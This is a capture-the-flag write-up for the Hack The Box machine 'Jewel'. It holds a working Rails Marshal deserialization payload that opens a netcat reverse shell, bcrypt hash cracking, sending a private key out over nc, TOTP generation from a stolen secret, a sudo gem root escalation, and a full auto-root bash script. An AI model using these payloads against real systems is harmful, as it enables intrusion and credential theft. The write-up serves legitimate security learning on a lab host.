Hack The Box - Jewel Writeup
Jewel is a Medium-tier vulnerable Linux virtual machine, created by polarbearer.
The goal of my participation in Hack The Box is to learn which tools are used for analysis and exploitation of a variety of protocols, and how to use them efficiently. A side goal is to be exposed to unfamiliar software.
Summary
Name | Jewel |
Creator | polarbearer |
IP Address | 10.10.10.211 |
OS | Linux |
Release Date | 2020-10-10 |
Retirement Date | 2021-02-13 |
Difficulty | Medium (30 points) |
Firstly, we discover an open-source blog, built with Ruby on Rails. Next, we discover an exploit in a dependency, and proceed to dive head-first into a user shell. Finally, we find a crackable hash, and combine the found password with a TOTP second factor, in order to gain root
access.
Luxury Rail Transit
Running nmap
Firstly, we add the machine jewel.htb
to /etc/hosts
, and run nmap
. The output from a service-based portscan reveals two services of interest.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-xx xx:xx AEDT
Nmap scan report for jewel.htb (10.10.10.211)
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
| 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open http Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: jewel.htb Git
|_Requested resource was http://jewel.htb:8000/gitweb/
8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds
It appears that there is a BLOG!
service on port 8080
, with source code available at port 8000
. Since source code is marginally more useful as a starting point than browsing a blog, I am going to start there.
It is a Ruby-on-Rails application, which I have had limited experience with so far. Onward!
Reading The Source
There is a database dump included, with a user table:
--
-- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: rails_dev
--
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
1 bill bill@mail.htb 2020-08-25 08:13:58.662464 2020-08-25 08:13:58.662464 $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
2 jennifer jennifer@mail.htb 2020-08-25 08:54:42.8483 2020-08-25 08:54:42.8483 $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
\.
The passwords are not easily cracked by rockyou.txt
; I gave up after a short runtime.
> /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt users
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:xx 0.00% (ETA: 2020-11-xx xx:xx) 0g/s 5.724p/s 11.48c/s 11.48C/s disney..54321
0g 0:00:04:xx 0.01% (ETA: 2020-12-xx xx:xx) 0g/s 5.478p/s 10.96c/s 10.96C/s honey1..thomas1
--[[snip]]--
Session aborted
The gitweb
interface does not provide a simple cloning URL in the manner of github
and its ilk; however, there is an easily constructible snapshot URL which I found a reference to on StackOverflow.
Editor's Note: There is also a snapshot
link right there on the tree
page, which I missed entirely!
> wget "http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD" -O blog.tar.gz
> tar xf blog.tar.gz
> mv .git-HEAD-5d6f436 blog-repo
> cd blog-repo
An interesting snippet is found within one of the application's controllers
.
class ApplicationController < ActionController::Base
--[[snip]]--
def current_username
if session[:user_id]
cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
--[[snip]]--
That looks like a Redis
caching service on another port; I am unsure whether we will be exploiting that service through this blog, so we'll make a note of it and continue.
Searching for CVEs
It's time to look for some RoR exploits!
> searchsploit Rails
--[[snip]]--
None of the exploits cached on my host were recent enough to affect this version of Rails (5.2.2.1
).
Additionally, the rails version is not vulnerable to the DoubleTap RCE. I spent a short while attempting to exploit this with no success, as the version 5.2.2
is vulnerable, and I was unsure whether the fix made it into 5.2.2.1
.
Dependency Scanning
Automation Rocks
A quick search for methods of scanning Ruby projects for vulnerable libraries brings up the bundler-audit
tool, which scans the Gemfile
.
> sudo gem install bundler-audit
> bundle-audit update
> bundle-audit
--[[snip]]--
Name: activesupport
Version: 5.2.2.1
Advisory: CVE-2020-8165
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c
Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1
--[[snip]]--
There were many other XSS and similar vulnerabilities, but CVE-2020-8165 stood out, as I had seen the RedisCacheStore
used on user_id
values in the above code snippets.
> bundle install --path vendor/bundle
Fetching gem metadata from https://rubygems.org/............
Fetching rake 12.3.2
Installing rake 12.3.2
--[[snip]]--
Bundle complete! 18 Gemfile dependencies, 79 gems now installed.
Bundled gems are installed into `./vendor/bundle`
After resolving some dependency hell with selective upgrades, I managed to get a working console in order to attempt the exploit.
Note that there is a minor typo in the PoC README; a missing =
character when assigning a value to the payload
variable.
irb(main):001:0> code = '`nc 10.10.14.6 4444 -e /bin/bash`'
irb(main):002:0> erb = ERB.allocate
irb(main):003:0> erb.instance_variable_set :@src, code
irb(main):004:0> erb.instance_variable_set :@filename, "1"
irb(main):005:0> erb.instance_variable_set :@lineno, 1
irb(main):006:0> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
irb(main):007:0> require 'uri'
irb(main):008:0> puts URI.encode_www_form(user: payload)
The output of the above is a lengthy string, which I have broken into multiple lines below, and stored in a bash
variable called payload
:
> payload="%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3A\
DeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40\
srcI%22%26%60nc+10.10.14.6+4444+-e+%2Fbin%2Fbash%60%06%3A%06ET%3A%0E%40\
filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult\
%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1F\
ActiveSupport%3A%3ADeprecation%00%06%3B%09T"
This should provide a reverse shell when we inject it. After browsing through the code, it appears that the username update sequence is the best place to inject. Onto the browser!
Attack Sequence
We first sign up for an account, username test
, email test@test.test
, password hunter2.
Once we know our user_id
, in this case 18
, we can navigate to the username change page at http://jewel.htb:8080/users/18/edit
.
We submit a request to change the username, log the request in the browser Developer Tools, select the request, and Copy as cURL
.
After this, we navigate back to the page, and acquire a new authenticity_token
.
Finally, we paste the curl
command into a terminal, and modify the request by updating the authenticity_token
:
> authtk="ClEcWGMkX0163ZnIe18cOzTLnZ1L1yPLiNR27Z+\
brNOZT2AgVUSPD/y+P3PrN5O5SlyGi243jk+qbjPUTkPgiA=="
> curl 'http://jewel.htb:8080/users/18' \
-H 'Accept: text/html,*/*;q=0.8' \
-H 'Referer: http://jewel.htb:8080/users/18' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://jewel.htb:8080' \
-H 'Connection: keep-alive' \
-H 'Cookie: _session_id=9a365b56975e8956786077fbd236e4af' \
-H 'Upgrade-Insecure-Requests: 1' \
--data 'utf8=%E2%9C%93&_method=patch' \
--data-urlencode "authenticity_token=${authtk}" \
--data "user%5Busername%5D=${payload}" \
--data 'commit=Update+User'
This responds with a 500 Internal server error
, which is to be expected. Upon setting up a reverse shell, and reloading the "change username" page in the browser...
> nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from jewel.htb [10.10.10.211] 53044
whoami && id && pwd
bill
uid=1000(bill) gid=1000(bill) groups=1000(bill)
/home/bill/blog
python3 -c 'import pty; pty.spawn("/bin/bash")'
bill@jewel:~/blog$ ls
app
bd.sql
--[[snip]]--
bill@jewel:~/blog$ cat /home/bill/user.txt
b084da...
That's great! We have made it to user.txt
, and have access to an upgraded reverse shell.
This exploit works by storing a malicious Ruby object in the Redis
cache, which executes some code when loaded from the cache later. As the username is now a poisoned object in the cache, any page that includes the username (which is most pages when logged in) triggers a reverse shell connection to the attacking host.
Searching for Auth
On TOTP Of The World
A quick look at the /home/bill
directory reveals something that I happen to know about...
bill@jewel:~$ ls -al /home/bill
total 52
drwxr-xr-x 6 bill bill 4096 Sep 17 14:10 .
drwxr-xr-x 3 root root 4096 Aug 26 09:32 ..
lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .bash_history -> /dev/null
-rw-r--r-- 1 bill bill 220 Aug 26 09:32 .bash_logout
-rw-r--r-- 1 bill bill 3526 Aug 26 09:32 .bashrc
drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog
drwxr-xr-x 3 bill bill 4096 Aug 26 10:33 .gem
-rw-r--r-- 1 bill bill 43 Aug 27 10:53 .gitconfig
drwx------ 3 bill bill 4096 Aug 27 05:58 .gnupg
-r-------- 1 bill bill 56 Aug 28 07:00 .google_authenticator
drwxr-xr-x 3 bill bill 4096 Aug 27 10:54 .local
-rw-r--r-- 1 bill bill 807 Aug 26 09:32 .profile
lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .rediscli_history -> /dev/null
-r-------- 1 bill bill 33 Oct 23 15:00 user.txt
-rw-r--r-- 1 bill bill 116 Aug 26 10:43 .yarnrc
I use the Google Authenticator PAM Module on my own servers to enable Time-Based Two Factor Authentication, so the .google_authenticator
file stood out to me immediately.
bill@jewel:~$ cat /home/bill/.google_authenticator
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
According to the pam
configuration files, we'll need to have a TOTP response in order to authenticate with sudo
.
bill@jewel:/etc/pam.d$ cat sudo
#%PAM-1.0
@include common-auth
@include common-account
@include common-session-noninteractive
auth required pam_google_authenticator.so nullok
This is in addition to the required password.
Providing Motivation
As an aside, the box author has configured my favourite sudo
feature: insults!
bill@jewel:/etc/pam.d$ sudo su
[sudo] password for bill: password
You empty-headed animal food trough wiper!
[sudo] password for bill: hunter2
Hold it up to the light --- not a brain in sight!
[sudo] password for bill: iloveyou
sudo: 3 incorrect password attempts
bill@jewel:/etc/pam.d$ sudo su
[sudo] password for bill: 123456
Do you think like you type?
--[[snip]]--
I am affronted, and all the more motivated to gain root
access to this box, in order to disable these vile jabs at my highly wrinkled brain.
Rabbit Holes
Creds in the Blog?
Let's see if we can transfer some files over which may hold credentials.
bill@jewel:~/blog$ cat bd.sql | nc 10.10.14.6 3333
> nc -lvp 3333 > bd.sql
listening on [any] 3333 ...
connect to [10.10.14.6] from jewel.htb [10.10.10.211] 49716
^C
> diff bd.sql blog-repo/bd.sql
>
It's the same file as in the git
repository.
SSH Keypair
> ssh bill@10.10.10.211
bill@10.10.10.211: Permission denied (publickey).
Alright; let's generate a keypair in thet case.
bill@jewel:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bill/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/bill/.ssh/id_rsa.
Your public key has been saved in /home/bill/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:TRa+hdUssWmkar1ww4QJGs4ULOACrNArajXFzvdwnpI bill@jewel.htb
The key's randomart image is:
+---[RSA 2048]----+
|+o .=.. . ++ |
|+.o+.= . + *.oo |
|+. oB o B =. |
|+ .o o o X + |
|... . . S O |
|.. E * o |
|. . . |
| |
| |
+----[SHA256]-----+
bill@jewel:~$ cat .ssh/id_rsa | nc 10.10.14.6 3333
We exfiltrate the new private key over nc
. Note that this is plaintext, and very obvious exfiltration in a real-life scenario.
Attempting to connect with ssh
, we find that bill
appears to be disallowed from authenticating over SSH
altogether.
Hash Cracking
Finding a Backup
Running some scans over the filesystem, we pick up a readable database backup file thanks to lse.sh
!
-rw-r--r-- 1 root root 7828 Aug 27 10:19 /var/backups/dump_2020-08-27.sql
This file contains different hashes to the active database:
--[[snip]]--
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
\.
--[[snip]]--
After attempting to crack these, we determine that the password spongebob
is involved. This turns out to be the correct password for the user bill
!
> /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt bill.pw
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob (?)
1g 0:00:xx:58 DONE (2020-10-xx xx:xx) 0.000173g/s 0.01614p/s 0.01614c/s 0.01614C/s spongebob..junior
Use the "--show" option to display all of the cracked passwords reliably
Session completed
As an aside, this took over 30 minutes on my virtual machine. A temporary power management issue with my host CPU may have been the cause - however, cracking bcrypt
hashes is intensive regardless.
Escalating With sudo
We'll also need a valid totp
code for bill
. There is a generator tool available in the debian repository, oathtool
. Just to be sure, I take the date from the remote host first:
bill@jewel:~$ date -R
Fri, 23 Oct 2020 16:21:20 +0100
And specify this as an argument to oathtool
.
> sudo apt install oathtool gnupg2
--[[snip]]--
> oathtool -b --totp 2UQI3R52WFCLE6JTLDCSJYMJH4 -N "Fri, 23 Oct 2020 16:21:20 +0100"
495620
Within 30 seconds of this sequence, I attempt to list the capabilities of bill
.
bill@jewel:~$ sudo -l
sudo -l
[sudo] password for bill: spongebob
Verification code: 495620
Matching Defaults entries for bill on jewel:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
insults
User bill may run the following commands on jewel:
(ALL : ALL) /usr/bin/gem
That looks like the way up!
Is Ruby Insecure?
We can use a GTFOBins entry in order to escalate to root
through our sudo
access to the gem
tool.
bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
# id && hostname && wc -c /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
jewel.htb
33 /root/root.txt
# cat /root/root.txt
dc8d8e7...
Success!
Ruby itself isn't insecure, but allowing anyone to run a package manager as root
sure is - especially if their password is spongebob
.
After Root
Vile Knave!
It's time to fix this profanity issue.
# sed -ie 's/Defaults.*insults$//' /etc/sudoers
All sorted! How dare anyone accuse me of anything just because I'm typing in random garbage for passwords.
(incidentally, I have this module enabled on all of my single-user servers - brings a bit of life to something as mundane as mistyping a password)
Auto-Root Script
Of course, I created a script to automate the full process.
#!/usr/bin/env bash
# TOTP Secret & Password
totp="2UQI3R52WFCLE6JTLDCSJYMJH4"
billp="spongebob"
# Random username
usern=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)
# Get signup cookie & auth token
cookie=$(curl -sv "http://10.10.10.211:8080/signup" 2>&1 | grep -oP "_session_id=.*(?=; path)")
signup_token=$(curl -s "http://10.10.10.211:8080/signup" \
-H "Cookie: ${cookie}" | grep -oP '"authenticity_token" value\="\K.*(?=" \/>)')
# Sign up
curl -s "http://10.10.10.211:8080/users" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H "Cookie: ${cookie}" \
--data-urlencode "authenticity_token=${signup_token}" \
--data "utf8=%E2%9C%93&commit=Create+User" \
--data "user%5Busername%5D=${usern}" \
--data-urlencode "user[email]=${usern}@jewel.htb" \
--data-urlencode "user[password]=${usern}@jewel.htb" > /dev/null
# Get login auth token
login_token=$(curl -s "http://10.10.10.211:8080/login" \
-H "Cookie: ${cookie}" | grep -oP '"authenticity_token" value\="\K.*(?=" \/>)')
# Log in
curl -s "http://10.10.10.211:8080/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H "Cookie: ${cookie}" \
--data-urlencode "authenticity_token=${login_token}" \
--data "utf8=%E2%9C%93&commit=Log+In" \
--data-urlencode "session[email]=${usern}@jewel.htb" \
--data-urlencode "session[password]=${usern}@jewel.htb" > /dev/null
# Get user's ID and a change token
userid=$(curl -s http://10.10.10.211:8080/ -H "Cookie: ${cookie}" | grep -o "/users/\w*")
echo $usern - $userid
change_token=$(curl -s "http://10.10.10.211:8080/${userid}/edit" \
-H "Cookie: ${cookie}" | grep -oP '"authenticity_token" value\="\K.*(?=" \/>)')
# create payload with correct ip address
ipadd=$(ip addr | grep -o "10.10.14.[^/]*")
# calculate length byte for command string in payload
iplen=$(echo "$ipadd" | wc -c)
iplenhex=$(printf '%%%x' $((iplen+0x1b)))
# command for generating payload (with Rails present in local directory)
#echo "code = '\`nc $(ip addr | grep -o "10.10.14.[^/]*") 4444 -e /bin/bash\`'
#erb = ERB.allocate
#erb.instance_variable_set :@src, code
#erb.instance_variable_set :@filename, '1'
#erb.instance_variable_set :@lineno, 1
#payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
#require 'uri'
#puts URI.encode_www_form(user: payload)
#" | bundle exec rails console 2>&1 | grep -oP 'user=\K.*$'
# fixed payload string (tested on Rails 5.2.2.1)
payload="%04%08o%3A%40ActiveSupport%3A%3ADeprecation\
%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo\
%3A%08ERB%08%3A%09%40srcI%22${iplenhex}%60nc+${ipadd}+4444+-e+%2Fbin%2Fbash\
%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi\
%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B\
%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T"
# change username
curl -s "http://10.10.10.211:8080/${userid}" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H "Cookie: ${cookie}" \
--data-urlencode "authenticity_token=${change_token}" \
--data "utf8=%E2%9C%93&commit=Update+User" \
--data "user%5Busername%5D=${payload}" \
--data-urlencode "_method=patch" > /dev/null
# set up reverse shell...
# id && hostname && wc -c /root/root.txt
echo "If the local date below is not within ~1 minute of the remote date, the script may not work!"
echo "-----"
printf 'Local Date: ' && date -R
echo "-----"
echo "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'
echo 'Shell gained as user bill!'
printf 'Remote Date: ' && date -R
sudo gem open -e '/bin/sh -c /bin/bash' rdoc
${billp}
$(oathtool -b --totp ${totp})
cd /root
echo Wait for the following connection...
nc $ipadd 3333 -e /bin/bash
" | nc -i 1 -lvp 4444 2>&1 | grep --line-buffered '^Shell\|^Remote\|^Wait' &disown
# load that page again...
curl -s "http://10.10.10.211:8080/${userid}/edit" -H "Cookie: ${cookie}" > /dev/null 2>&1 &disown
# root reverse shell
nc -lvp 3333
Thanks to the box creator for an entertaining excuse to read some Ruby code!